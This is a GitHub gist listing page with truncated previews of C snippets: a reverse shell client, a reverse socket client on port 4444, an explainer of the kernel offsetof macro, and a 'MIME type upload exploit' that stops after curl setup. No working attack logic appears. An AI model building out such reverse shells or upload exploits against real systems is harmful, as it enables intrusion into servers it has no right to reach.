Skip to content

Instantly share code, notes, and snippets.

emandret

  • Paris, France
Block or report user

Report or block emandret

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@emandret
emandret / reverse_shell.c
Created Nov 3, 2018
A simple reverse shell client
View reverse_shell.c
#include <arpa/inet.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#define REMOTE_ADDR "127.0.0.1"
@emandret
emandret / reverse_client.c
Created Nov 3, 2018
A socket example where the client act as the server by waiting for data and printing it
View reverse_client.c
#include <arpa/inet.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#define REMOTE_ADDR "127.0.0.1"
#define REMOTE_PORT 4444
@emandret
emandret / offsetof.c
Created Oct 21, 2018
The linux kernel `offsetof` macro explained and implemented in pure C
View offsetof.c
#include <stdio.h>
/*
* In the expression `&ptr[5]` which is equivalent to `&(*(ptr + 5))`, we take
* the address of the fifth element which means an offset in bytes equal to `5 *
* sizeof(*ptr)` from the `ptr` base address. The address is simply retrieved as
* `ptr + 5` by the compiler and no memory access (i.e. dereferencing) is
* usually involved here.
*
* For a structure, the variable name represents the whole memory area from the
@emandret
emandret / pwned.c
Created Oct 14, 2018
MIME type upload exploit
View pwned.c
#include <curl/curl.h>
#include <stdio.h>
int main(void)
{
/* Initialize request with curl */
CURL *req = curl_easy_init();
if (!req) {
fprintf(stderr, "Error: curl initialization failed");
You can’t perform that action at this time.